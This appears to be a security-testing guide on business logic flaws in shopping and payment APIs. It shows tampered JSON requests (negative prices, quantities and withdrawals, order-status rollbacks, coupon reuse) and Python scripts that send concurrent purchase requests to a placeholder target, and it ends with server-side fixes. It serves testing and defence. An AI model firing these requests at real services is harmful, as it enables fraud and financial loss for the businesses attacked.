Business Logic Vulnerability Testing

Overview

Vulnerability Types

1. Workflow Bypass

• Directly access the final step
• Modify step order
• Repeat step execution

2. Price Manipulation

• Enter negative amount
• Result in increased account balance

• Modify frontend price
• Modify price in API requests

3. Quantity Limit Bypass

• Enter negative number
• May lead to increased inventory

• Modify quantity limit
• Bypass via batch operations

4. Race Condition

• Send multiple requests simultaneously
• Bypass single-time limits

5. State Manipulation

• Change completed orders to pending payment
• Modify order status

Testing Methods

1. Workflow Analysis

• Registration process
• Purchase process
• Withdrawal process
• Review process

Normal flow: Step 1 → Step 2 → Step 3
Test: Directly access Step 3
Test: Step 1 → Step 3 (skip Step 2)

2. Parameter Tampering

POST /api/purchase
{
  "product_id": 123,
  "quantity": 1,
  "price": 100.00  # Modify to 0.01
}

{
  "quantity": -1,
  "price": -100.00
}

3. Concurrency Testing

import threading
import requests

def purchase():
    requests.post('https://target.com/api/purchase', 
                  json={'product_id': 123, 'quantity': 1})

# Send 10 requests simultaneously
for i in range(10):
    threading.Thread(target=purchase).start()

4. State Modification

PATCH /api/order/123
{
  "status": "completed"  # Modify to completed
}

PATCH /api/order/123
{
  "status": "pending"  # Rollback from completed to pending payment
}

Exploitation Techniques

Price Manipulation

{
  "product_id": 123,
  "price": -100.00,
  "quantity": 1
}

// Frontend code
const price = 100.00;

// Modify to
const price = 0.01;

POST /api/checkout
{
  "items": [
    {
      "product_id": 123,
      "price": 0.01,  # Original price 100.00
      "quantity": 1
    }
  ]
}

Quantity Limit Bypass

{
  "product_id": 123,
  "quantity": -10  # May lead to increased inventory
}

{
  "product_id": 123,
  "quantity": 999999  # Exceed single purchase limit
}

Coupon Abuse

POST /api/checkout
{
  "coupon": "DISCOUNT50",
  "items": [...]
}

# Reuse the same coupon

POST /api/checkout
{
  "coupon": "EXPIRED_COUPON",  # Use expired coupon
  "items": [...]
}

Withdrawal Vulnerability

{
  "amount": -1000.00  # May lead to increased account balance
}

{
  "amount": 999999.00  # Exceed account balance
}

Race Condition

import threading
import requests

def buy():
    requests.post('https://target.com/api/purchase',
                  json={'product_id': 123, 'quantity': 1})

// Flash sale, concurrent requests
for i in range(100):
    threading.Thread(target=buy).start()

Bypass Techniques

Frontend Validation Bypass

• Bypass frontend JavaScript validation
• Send API requests directly

• Intercept with Burp Suite
• Modify parameters and send

Status Code Analysis

• 200 OK - May be successful
• 400 Bad Request - Parameter error
• 403 Forbidden - Insufficient permissions
• 500 Internal Server Error - Server error

Error Message Exploitation

Error: "Insufficient balance, current balance: 100.00"
→ Can obtain account balance information

Tool Usage

Burp Suite

1. Intercept business requests
2. Modify key parameters
3. Observe responses

1. Mark parameters
2. Use payload list
3. Batch testing

Custom Script

import requests
import json

def test_price_manipulation():
    # Test price modification
    for price in [0.01, -100, 0, 999999]:
        data = {
            "product_id": 123,
            "price": price,
            "quantity": 1
        }
        response = requests.post('https://target.com/api/purchase',
                                json=data)
        print(f"Price {price}: {response.status_code}")

test_price_manipulation()

Verification and Reporting

Verification Steps

1. Confirm that business logic restrictions can be bypassed
2. Verify that unauthorized operations can be performed
3. Evaluate impact (financial loss, data tampering, etc.)
4. Record complete POC

Report Key Points

• Vulnerability location and business process
• Executable unauthorized operations
• Complete exploitation steps and PoC
• Fix recommendations (server-side validation, business rule checks, etc.)

Protection Measures

Recommended Solutions

1. Server-Side Validation
   python

   def process_purchase(product_id, quantity, price):
       # Get real price from database
       real_price = db.get_product_price(product_id)
       
       # Validate price
       if price != real_price:
           raise ValueError("Price mismatch")
       
       # Validate quantity
       if quantity <= 0:
           raise ValueError("Invalid quantity")
       
       # Process purchase
       process_order(product_id, quantity, real_price)

2. State Machine Validation
   python

   class OrderState:
       PENDING = "pending"
       PAID = "paid"
       SHIPPED = "shipped"
       COMPLETED = "completed"
       
       TRANSITIONS = {
           PENDING: [PAID],
           PAID: [SHIPPED],
           SHIPPED: [COMPLETED]
       }
       
       def can_transition(self, from_state, to_state):
           return to_state in self.TRANSITIONS.get(from_state, [])

3. Concurrency Control
   python

   import threading
   
   lock = threading.Lock()
   
   def process_order(order_id):
       with lock:
           # Check order status
           order = db.get_order(order_id)
           if order.status != 'pending':
               raise ValueError("Order already processed")
           
           # Process order
           process(order)

4. Business Rule Validation
   python

   def validate_business_rules(order):
       # Validate quantity limit
       if order.quantity > MAX_QUANTITY:
           raise ValueError("Quantity exceeds limit")
       
       # Validate price range
       if order.price <= 0:
           raise ValueError("Invalid price")
       
       # Validate inventory
       if order.quantity > get_stock(order.product_id):
           raise ValueError("Insufficient stock")

5. Audit Logs
   python

   def log_business_action(user_id, action, details):
       log_entry = {
           "user_id": user_id,
           "action": action,
           "details": details,
           "timestamp": datetime.now()
       }
       db.log_action(log_entry)

Notes

• Only perform in authorized testing environments
• Avoid causing actual impact on business
• Note differences in different business processes
• Pay attention to data consistency during testing